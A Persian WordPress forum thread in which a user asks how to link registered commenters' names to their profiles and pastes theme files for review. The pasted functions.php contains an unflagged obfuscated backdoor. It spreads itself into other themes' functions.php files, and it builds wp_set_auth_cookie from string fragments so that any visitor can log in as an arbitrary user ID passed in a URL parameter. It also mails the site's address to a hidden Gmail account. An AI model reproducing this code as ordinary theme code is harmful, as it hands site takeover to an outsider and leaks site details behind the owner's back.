رفتن به مطلب

مشکل در قالب (قسمت کامنت ها و لینک به پروفایل کاربر)


پست های پیشنهاد شده

با درود،جستجو کردم هم در این انجمن هم داخل خود گوگل ! چیزی متوجه نشدم این شد که تاپیک ایجاد کردم،

توی سایت بنده میخوام کسی که نظری میزاره و اگر عضو سایت هستش وقتی روی اسمش کلیک میکنیم بره به پروفایلش.

چجوری باید اینکارو کرد ؟

یکی از پست ها :


http://just-music.ir/%d8%a7%d9%84%d8%a8%d9%88%d9%85-%d8%a8%d9%87%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7%db%8c-%d9%85%d9%88%d8%b3%db%8c%d9%82%db%8c-%d9%87%d8%a7%db%8c-%db%8c%d8%a7%d9%86%db%8c/

باید برم توی کد های قسمت comments اما نمیدونم دقیقا چیو باید کجا قرار بدم... چه کدی برای اینکار لازمه دقیقا ؟

پیشاپیش تشکر.

لینک به ارسال

میدونم خلاف قوانین هستش اما کسی کمک نمیکنه ؟

چند تاپیک اخر بنده کلا بی پاسخ مونده ...

اگر مشکلی هست جای دیگه ای سوالاتمون رو بپرسیم ؟

لینک به ارسال

اگه منظورتون اینه که فقط کاربران عضو بتونن نظر بدن جواب خیر هستش..

همه میتونن نظر بدن... و فقط میخوام کاربران سایت وقتی نظر میدن اسمشون لینک بشه به پروفایلشون...

لینک به ارسال

اگه نظر آزاد باشه یکم کار سخت میشه چون باید یه شرط بذارین که اگر عضو هست به پروفایلش بره

واگر عضو نیست همون آدرس سایتش رو برگردونه

ولی اگر عضویت لازم باشه

میشه به عنوان تگ آدرس سایت ، تگ پروفایل رو جایگزین کرد

لینک به ارسال
میدونم خلاف قوانین هستش اما کسی کمک نمیکنه ؟ چند تاپیک اخر بنده کلا بی پاسخ مونده ... اگر مشکلی هست جای دیگه ای سوالاتمون رو بپرسیم ؟

سلام ، نخیر خلاف قوانین نیست اگر پس از 24 ساعت تاپیکتون رو آپ کنید تا بیشتر توی چشم بیاد :)

نخیر مشکلی نیست تعداد تاپیک ها زیاد و پاسخ دهنده ها کم هست به همین دلیل بعضی از تاپیک ها بی پاسخ میمونن ولی اگر فکر میکنید جای دیگه میتونن پاسختون رو سریع تر بدن مطمئن باشید ما طرف شما هستیم و میتونید برید اونجا تاپیک ایجاد کنید انشاءالله زودتر به پاسخ برسید.

______________

لطفاً فایل comments.php خودتون رو در BBcode مخصوص longbox قرار بدید تا بررسی کنیم ببینیم به چه شیوه ای دیدگاه هاتون رو فراخوانی کردید با هم مشکل رو حل کنیم.

ولی در کل باید به وسیله شرط ایجاد بشه یا به وسیله این افزونه کوچک:

http://wordpress.stackexchange.com/questions/94565/linking-comments-from-registered-users-to-their-profile-pages

یا به وسیله چک کردن اینکه فیلد سایت خالی یا پر و آیدی کسی که کامنت رو نوشته بیشتر از 0 باشه

مثل لینک زیر:

https://wordpress.org/support/topic/changing-comment-author-link

(بالاتر از 0 به دلیل این هست که آیدی 0 مربوط به نویسندگان دیدگاه مهمان است و چک کردن فیلد آدرس سایت به این دلیل هست که اگر کسی در شناسنامه خودش آدرس سایت رو نوشته باشه به صورت خودکار لینک تغییر پیدا میکنه به لینک داخل شناسنامه)

ویرایش شده توسط علی زینلی
لینک به ارسال

سلام.ممنون

این کد مربوط به فایل comments.php...

ولی فکر میکنم غیر از این فایل توی یک فایل دیگه هم کد مربوط به کامنت ها باشه... حالا اگر این کد ناقص بود بگید اون فایل رو هم پیدا کنم


<?php if ( !defined( 'ABSPATH' ) ) exit;
/*
1 - COMMENTS
1.1 - Comments title
1.2 - Comments
1.3 - Pagination
2 - COMMENT FORM
2.1 - Form
*/
global
$st_Settings;
$st_ = array();

// If comments enabled on theme panel
if (
!isset( $st_Settings['post_comments'] ) ||
is_single() && !empty( $st_Settings['post_comments'] ) && $st_Settings['post_comments'] == 'yes' ||
is_page() && !empty( $st_Settings['page_comments'] ) && $st_Settings['page_comments'] == 'yes' ) :

// If password protected
if ( post_password_required() ) {
_e( 'This post is password protected. Enter the password to view any comments.', 'strictthemes' );
return;
}
/*===============================================

C O M M E N T S
Display comments

===============================================*/
// If comments exists
if ( have_comments() ) :

$st_['tb'] = array(); // trackbacks
foreach ( $comments as $comment ) {
$st_['comment_type'] = get_comment_type();
if ( $st_['comment_type'] != 'comment' ) {
$st_['tb'][] = $comment; }
}
$st_['total_tb'] = sizeof( $st_['tb'] );
$st_['comments_number'] = get_comments_number() - $st_['total_tb'];

/*-------------------------------------------
1.1 - Comments title
-------------------------------------------*/

echo '<div class="comments-title">' . __( 'Comments', 'strictthemes' ) . ': ' . $st_['comments_number'] . '</div>';

/*-------------------------------------------
1.2 - Comments
-------------------------------------------*/
echo '<ol id="comments">';

wp_list_comments( array('callback' => 'st_comment' ));
echo '</ol>';

/*-------------------------------------------
1.2 - Pingbacks
-------------------------------------------*/

if (
$st_['total_tb'] > 0 && !empty( $st_Settings['pingbacks'] ) && $st_Settings['pingbacks'] == 'yes' ||
$st_['total_tb'] > 0 && !isset( $st_Settings['pingbacks'] ) ) {

echo '<div class="comments-title pingback-title">' . __( 'Pingbacks', 'strictthemes' ) . ': ' . $st_['total_tb'] . '</div>';

echo '<ol id="pingbacks">';

wp_list_comments( array('callback' => 'st_pingback' ));

echo '</ol>';

}

/*-------------------------------------------
1.3 - Pagination
-------------------------------------------*/
if ( get_comment_pages_count() > 1 && get_option('page_comments') ) : ?>
<div class="nav-previous"><?php previous_comments_link( __( 'Older comments', 'strictthemes' ) ); ?></div>
<div class="nav-next"><?php next_comments_link( __( 'Newer comments', 'strictthemes' ) ); ?></div><?php
endif;

// If no comments yet
else :

echo '<div class="comments-title-dummy"><!-- --></div>';

endif;


/*===============================================

C O M M E N T F O R M
Forms for leaving a comments

===============================================*/
// If comments open
if ( comments_open() ) :
if ( get_option('comment_registration') && !is_user_logged_in() ) :

echo '<p>' . __( 'You must be logged in to post a comment.', 'strictthemes' ) . ' - <a href="' . wp_login_url( get_permalink() ) . '">' . __( 'Log in', 'strictthemes' ) . '</a></p>';

else :

$st_['comments_args'] = array(

'fields' => apply_filters( 'comment_form_default_fields', array(

'author' => '
<div class="input-text-box input-text-name">
<div>
<input
type="text"
name="author"
id="author"
value="' . esc_attr( $commenter['comment_author'] ? $commenter['comment_author'] : '' ) . '"
placeholder="' . __( 'Name', 'strictthemes' ) . '"
/>
</div>
</div>',

'email' => '
<div class="input-text-box input-text-email">
<div>
<input
type="email"
name="email"
id="email"
value="' . esc_attr( $commenter['comment_author_email'] ? $commenter['comment_author_email'] : '' ) . '"
placeholder="' . __( 'Email', 'strictthemes' ) . '"
/>
</div>
</div>
<div class="clear"><!-- --></div>',

'url' => !empty( $st_Settings['website_on_comments'] ) && $st_Settings['website_on_comments'] == 'yes' ? '
<div class="input-text-box">
<div>
<input
type="url"
name="url"
id="url"
value="' . esc_attr( $commenter['comment_author_url'] ? $commenter['comment_author_url'] : '' ) . '"
placeholder="' . __( 'Website', 'strictthemes' ) . '"
/>
</div>
</div>' : '',

)),

'comment_notes_before' => '',

'comment_field' => '
<div class="textarea-box">
<textarea
name="comment"
id="comment"
cols="100"
rows="10"
placeholder="' . __( 'Type here', 'strictthemes' ) . '"></textarea>
<div class="clear"><!-- --></div>
</div>',

'comment_notes_after' => '',

);

comment_form( $st_['comments_args'] );

endif; // if ( get_option('comment_registration')

endif; // If comments open


endif; // If comments enabled on theme panel

?>

لینک به ارسال

سلام ، در خط


wp_list_comments( array('callback' => 'st_comment' ));

قالب ها رو به وسیله تابع st_comment از فایل functions.php فراخوانی کرده ، لطفاً محتوای این پوشه هم قرار بدید (برای کد های طولانی از BBcode مخصوص LongBox استفاده کنید)

لینک به ارسال

سلام.فایل فانکشن رو قرار میدم اما فک نمیکنم توش باشه...:

فایلی که شک دارم توش باشه هم قرار میدم جفتشو لطفا ببینید:

فایل فانکش:


<?php if ( !defined( 'ABSPATH' ) ) exit;

/*

1 - START

1.1 - Theme Options
1.2 - Theme Settings
1.3 - Framework

*/

/*= 1 ===========================================

S T A R T
The start point is here.
===============================================*/
/*-------------------------------------------
Theme Options:
Global options comes by default.
-------------------------------------------*/

include( locate_template( '/options.php' ) );

/*-------------------------------------------
Theme Settings:
Unique settings created by admin.
-------------------------------------------*/

$st_Settings = function_exists( 'st_kit' ) ? get_option( $st_Options['general']['name'] . 'settings' ) : array();

/*-------------------------------------------
Framework:
A common functions.
-------------------------------------------*/

include( locate_template( '/framework/start.php' ) );

?>
<?php
function cwc_disable_feed() {
wp_die( __('No feed available,please visit our <a href="'. get_bloginfo('url') .'">homepage</a>!') );
}
add_action('do_feed', 'cwc_disable_feed', 1);
add_action('do_feed_rdf', 'cwc_disable_feed', 1);
add_action('do_feed_rss', 'cwc_disable_feed', 1);
add_action('do_feed_rss2', 'cwc_disable_feed', 1);
add_action('do_feed_atom', 'cwc_disable_feed', 1);
?>
<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}


if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :


global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '',
'after_widget' => '</div><div class="wfo"></div>',
'before_title' => '<div class="wtop">',
'after_title' => '</div><div class="wco">',
));
function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');

?>

فایل global.php


<?php if ( !defined( 'ABSPATH' ) ) exit;
/*
1 - GLOBAL
1.1 - Content width
1.2 - Automatic RSS feeds
1.3 - Localization
1.4 - Thumbnails
1.5 - Editor styles
1.6 - Custom Background
1.7 - Custom Header
2 - FILTERS
2.1 - Header meta
2.2 - Favicon
2.3 - Excerpt in search results
2.4 - JS misc data
2.5 - Browser name as body class
3 - ACTIONS
3.1 - Replace CSS class in Custom Menu widget
3.2 - Tag widget fix
3.3 - Remove rel attribute for validation
4 - FUNCTIONS

4.1 - Get post meta
4.2 - Get post terms
4.3 - Get page id by template
4.4 - Get the Redirect page
4.5 - Logo
4.6 - Drop-down menu
4.7 - Dummy data for Sidebar
4.8 - Display Sidebar
4.9 - Prev/Next post link
4.10 - Post meta
4.11 - Fallback theme notice
4.12 - Alternative width of sidebar
*/
/*= 1 ===========================================
G L O B A L
Required WordPress settings
===============================================*/
global
$st_Options,
$st_Settings;
/*-------------------------------------------
1.1 - Content width
-------------------------------------------*/
$content_width = $st_Options['global']['content_width'];

/*-------------------------------------------
1.2 - Automatic RSS feeds
-------------------------------------------*/
if ( $st_Options['global']['rss'] ) {
add_theme_support( 'automatic-feed-links' ); }
/*-------------------------------------------
1.3 - Localization
-------------------------------------------*/
function st_textdomain() {

global
$st_Options;

if ( $st_Options['global']['lang'] ) {
load_theme_textdomain( 'strictthemes', get_template_directory() . '/assets/lang' ); }

}

add_action( 'after_setup_theme', 'st_textdomain' );

/*-------------------------------------------
1.4 - Thumbnails
-------------------------------------------*/
// Thumbs
if ( function_exists( 'add_image_size' ) ) {
foreach ( $st_Options['global']['images'] as $key => $value ) {
if ( $st_Options['global']['images'][$key]['status'] ) {
// Normal size
$st_['width'] = $st_Options['global']['images'][$key]['width'];
$st_['height'] = $st_Options['global']['images'][$key]['height'];
$st_['crop'] = $st_Options['global']['images'][$key]['crop'] ? true : false;
add_image_size( $key, $st_['width'], $st_['height'], $st_['crop'] );
// HiDPI size
if ( function_exists( 'st_kit' ) ) {
if ( $st_Options['panel']['misc']['hidpi'] && !isset( $st_Settings['hidpi'] ) || !empty( $st_Settings['hidpi'] ) != 'no' ) {

$st_['width'] = $st_Options['global']['images'][$key]['width'] * 2;
$st_['height'] = $st_Options['global']['images'][$key]['height'] * 2;

add_image_size( $key . '-2x', $st_['width'], $st_['height'], $st_['crop'] );

}
}
}
}
}
add_theme_support( 'post-thumbnails' );

/*-------------------------------------------
1.5 - Editor styles
-------------------------------------------*/
function my_theme_add_editor_styles() {
add_editor_style( 'style.css' );
}
add_action( 'init', 'my_theme_add_editor_styles' );

/*-------------------------------------------
1.6 - Custom Background
-------------------------------------------*/
if ( $st_Options['global']['custom-background'] ) {
$st_['custom_background_cb'] = function_exists( 'st_custom_background_cb' ) ? 'st_custom_background_cb' : '_custom_background_cb';
$st_['args'] = array(
'default-color' => isset($st_Options['panel']['style']['general']['colors']['default']) ? $st_Options['panel']['style']['general']['colors']['default'] : $st_Options['panel']['style']['general']['colors']['primary']['hex'],
'default-image' => !empty( $st_Options['panel']['style']['general']['background-image'] ) ? get_template_directory_uri() . '/assets/images/' . $st_Options['panel']['style']['general']['background-image'] : '',
'wp-head-callback' => $st_['custom_background_cb'],
);
add_theme_support( 'custom-background', $st_['args'] );
}
/*-------------------------------------------
1.7 - Custom Header
-------------------------------------------*/
if ( $st_Options['global']['custom-header'] ) {
$st_['args'] = array();
add_theme_support( 'custom-header', $st_['args'] );
}
/*= 2 ===========================================
F I L T E R S
Permanent custom filters
===============================================*/
/*-------------------------------------------
2.1 - Header meta
-------------------------------------------*/
function st_head_meta() {
$array = array (
"<meta charset='UTF-8' />",
"<meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1' />",
"<meta name='dcterms.audience' content='Global' />"
);
foreach ( $array as $key ) {
echo $key . "\n"; }
}
add_filter( 'wp_head', 'st_head_meta', 1 );
/*-------------------------------------------
2.2 - Favicon
-------------------------------------------*/
function st_favicon() {
global
$st_Settings;
$icon = !empty( $st_Settings['favicon'] ) ? $st_Settings['favicon'] : get_template_directory_uri() . '/favicon.ico';
echo "<link rel='Shortcut Icon' href='" . $icon . "' type='image/x-icon' />\n";
}
add_filter( 'wp_head', 'st_favicon' );
/*-------------------------------------------
2.3 - Excerpt in search results
-------------------------------------------*/
if ( $st_Options['global']['excerpt-in-search'] && is_search() ) {
function st_search_where( $where ) {
return preg_replace( "/post_title\s+LIKE\s*(\'[^\']+\')/", "post_title LIKE $1) OR (post_excerpt LIKE $1", $where );
}
add_filter( 'posts_where', 'st_search_where' );
}

/*-------------------------------------------
2.4 - JS misc data
-------------------------------------------*/
function st_js_data() {
global
$st_Options,
$st_Settings;
/*
stData[0] - Primary color
stData[1] - Secondary color
stData[2] - Template URL
stData[3] - Site URL
stData[4] - Current post ID
stData[5] - Plugins path
*/
/*--- Primary color ------------------------------*/
$color = $st_Options['panel']['style']['general']['colors']['primary']['hex'];
$primary = ( !empty( $st_Settings['color-primary'] ) && function_exists( 'st_kit' ) ) ? $st_Settings['color-primary'] : $color;
/*--- Secondary color ------------------------------*/
$color = $st_Options['panel']['style']['general']['colors']['secondary']['hex'];
$secondary = ( !empty( $st_Settings['color-secondary'] ) && function_exists( 'st_kit' ) ) ? $st_Settings['color-secondary'] : $color;
?><script type='text/javascript'>/* <![CDATA[ */var stData = new Array();
stData[0] = "<?php echo $primary ?>";
stData[1] = "<?php echo $secondary ?>";
stData[2] = "<?php echo get_template_directory_uri() ?>";
stData[3] = "<?php echo get_site_url() ?>";
stData[4] = "<?php echo is_single() ? get_queried_object_id() : 0 ?>";
stData[5] = "<?php echo plugins_url() ?>";/* ]]> */</script><?php echo "\n";
}
add_filter( 'wp_footer', 'st_js_data' );

/*-------------------------------------------
2.5 - Browser name as body class
-------------------------------------------*/
function st_browser_body_class( $classes ) {
global
$is_lynx,
$is_gecko,
$is_IE,
$is_opera,
$is_NS4,
$is_safari,
$is_chrome,
$is_iphone;
if ( $is_lynx ) {
$classes[] = 'lynx'; }
elseif ( $is_gecko ) {
$classes[] = 'gecko'; }
elseif ( $is_opera ) {
$classes[] = 'opera'; }
elseif ( $is_NS4 ) {
$classes[] = 'ns4'; }
elseif ( $is_safari ) {
$classes[] = 'safari'; }
elseif ( $is_chrome ) {
$classes[] = 'chrome'; }
elseif ( $is_IE ) {
$classes[] = 'ie'; }
elseif ( $is_iphone ) {
$classes[] = 'iphone'; }
else {
$classes[] = 'unknown'; }
return
$classes;
}
add_filter( 'body_class', 'st_browser_body_class' );

/*= 3 ===========================================
A C T I O N S
Permanent custom actions
===============================================*/
/*-------------------------------------------
3.1 - Replace CSS class in Custom Menu widget
-------------------------------------------*/
function st_class_custom_menu( $args = array() ) {
$args['menu_class'] = 'widget_custom_menu';
return $args;
}
add_action( 'wp_nav_menu_args', 'st_class_custom_menu' );
/*-------------------------------------------
3.2 - Tag widget fix
-------------------------------------------*/
function st_tag_cloud( $args = array() ) {
global
$st_Options;
$args['smallest'] = $st_Options['global']['tag-cloud'];
$args['largest'] = $st_Options['global']['tag-cloud'];
$args['unit'] = 'px';
$args['separator'] = '';
$args['orderby'] = 'count';
$args['order'] = 'DESC';
return
$args;
}
add_action( 'widget_tag_cloud_args', 'st_tag_cloud' );
/*-------------------------------------------
3.3 - Remove rel attribute for validation
-------------------------------------------*/
function remove_category_list_rel( $output ) {
return str_replace( ' rel="category tag"', '', $output );
}

add_filter( 'wp_list_categories', 'remove_category_list_rel' );
add_filter( 'the_category', 'remove_category_list_rel' );

/*= 4 ===========================================
F U N C T I O N S
Permanent custom functions
===============================================*/
/*-------------------------------------------
4.1 - Get post meta
-------------------------------------------*/
function st_get_post_meta( $post_id, $key, $single, $default ) {
$meta = get_post_meta( $post_id, $key, $single );
$meta = $meta ? $meta : $default;
return $meta;
}
/*-------------------------------------------
4.2 - Get post terms
-------------------------------------------*/
function st_wp_get_post_terms( $post, $taxonomy, $link = true ) {
$out = '';
$terms = wp_get_post_terms( $post, $taxonomy );
if ( is_array( $terms ) ) {
foreach ( $terms as $term ) {
if ( $link ) {
$out .= '<a href="' . get_term_link( $term, $taxonomy ) . '">' . $term->name . '</a>, '; }
else {
$out .= $term->name . ', '; }
}
$out = substr( $out, 0, -2 ); // Cut last comma
}
return $out;
}

/*-------------------------------------------
4.3 - Get page id by template
-------------------------------------------*/
function st_get_page_by_template( $filename ) {
$pages = get_pages(
array(
'meta_key' => '_wp_page_template',
'meta_value' => $filename . '.php'
)
);
$id = '';
foreach ( $pages as $page ) {
$id = $page->ID; }
return $id;
}

/*-------------------------------------------
4.4 - Get the Redirect page
-------------------------------------------*/
function st_get_redirect_page_url() {
$pages = get_pages(
array(
'meta_key' => '_wp_page_template',
'meta_value' => 'go.php'
)
);

foreach ( $pages as $page ) {
$go_url = get_permalink( $page->ID ); }

$go_url = isset( $go_url ) ? $go_url . '?' : get_template_directory_uri() . '/go.php?';
return $go_url;
}

/*-------------------------------------------
4.5 - Logo
-------------------------------------------*/
function st_logo() {
if ( function_exists( 'st_kit' ) ) {
global
$st_Options,
$st_Settings;

$logo_type = !empty( $st_Settings['logo_type'] ) ? $st_Settings['logo_type'] : 'image';
$text = !empty( $st_Settings['sitename'] ) ? $st_Settings['sitename'] : $st_Options['general']['label'];
$logo = $logo_type == 'image' && !empty( $st_Settings['logo'] ) ? $st_Settings['logo'] : get_template_directory_uri() . '/assets/images/logo.png';
if ( $st_Options['panel']['misc']['hidpi'] && !isset( $st_Settings['hidpi'] ) || !empty( $st_Settings['hidpi'] ) != 'no' ) {
$logo2x = ' data-hidpi="' . ( !empty( $st_Settings['logo2x'] ) ? esc_url( $st_Settings['logo2x'] ) : get_template_directory_uri() . '/assets/images/logo2x.png' ) . '"'; }
else {
$logo2x = ''; }
// Image
if ( $logo_type == 'image' ) {
echo '<h1><a href="' . home_url() . '"><img src="' . $logo . '"' . $logo2x . ' alt="' . $text . '"/></a></h1>'; }

// Text or Default
else {
echo '<h1><a href="' . home_url() . '">' . $text . '</a></h1>'; }
}
else {
// Standard Site name
echo '<h1><a href="' . home_url() . '">' . get_bloginfo( 'sitename' ) . '</a></h1>';
}
}
/*-------------------------------------------
4.6 - Drop-down menu
-------------------------------------------*/
function st_the_menu_drop_down() {
global
$st_Settings;
if ( !isset( $st_Settings['layout_type'] ) || !empty( $st_Settings['layout_type'] ) && $st_Settings['layout_type'] != 'standard' ) {
st_menu_drop_down(); }
return;
}

/*-------------------------------------------
4.7 - Dummy data for Sidebar
-------------------------------------------*/
function st_sidebar_dummy( $tag, $name ) {
echo
"\n" . '<div class="widget">' .
"\n" . '<'.$tag.'>' . $name . '</'.$tag.'>' .

"\n" . '<p>' . sprintf( esc_attr__( 'Drop a widget on "%s" sidebar at Appearance > Widgets page.', 'strictthemes' ), $name ) . '</p>' .
"\n" . '</div>';
}
/*-------------------------------------------
4.8 - Display Sidebar
-------------------------------------------*/
function st_get_sidebar( $name ) {
echo '<div id="sidebar"><div class="sidebar">';
if ( function_exists('dynamic_sidebar') && dynamic_sidebar( $name ) );
echo '</div></div>';
}

/*-------------------------------------------
4.9 - Prev/Next post link
-------------------------------------------*/
function st_prev_next_post() {
$prev = get_previous_post();
$next = get_next_post();
$prev_link = $prev ? '<a class="p tooltip" title="' . __( 'Previous', 'strictthemes' ) . '" href="' . get_permalink( $prev->ID ) . '">' . $prev->post_title . '</a>' : '';
$next_link = $next ? '<a class="n tooltip" title="' . __( 'Next', 'strictthemes' ) . '" href="' . get_permalink( $next->ID ) . '">' . $next->post_title . '</a>' : '';
if ( $prev_link || $next_link ) {
return '<div id="pre_next_post">' . $prev_link . $next_link . '<div class="clear"><!-- --></div></div>'; }
else {
return; }
}

/*-------------------------------------------
4.10 - Post meta
-------------------------------------------*/
function st_post_meta(
$format = true,
$date = true,
$category = true,
$comments = true,
$tags = true,
$views = false,
$permalink = false
) {
global
$st_Options,
$st_Settings,
$post;
$st_ = array();
// Post type names
$st_['st_post'] = !empty( $st_Settings['ctp_post'] ) ? $st_Settings['ctp_post'] : $st_Options['ctp']['post'];
$st_['st_category'] = !empty( $st_Settings['ctp_category'] ) ? $st_Settings['ctp_category'] : $st_Options['ctp']['category'];
$st_['st_tag'] = !empty( $st_Settings['ctp_tag'] ) ? $st_Settings['ctp_tag'] : $st_Options['ctp']['tag'];
// Post format
$st_['format'] = ( get_post_format( $post->ID ) && $st_Options['global']['post-formats'][get_post_format( $post->ID )]['status'] ) ? get_post_format( $post->ID ) : 'standard';
?>
<div class="meta">

<?php

// If meta enabled
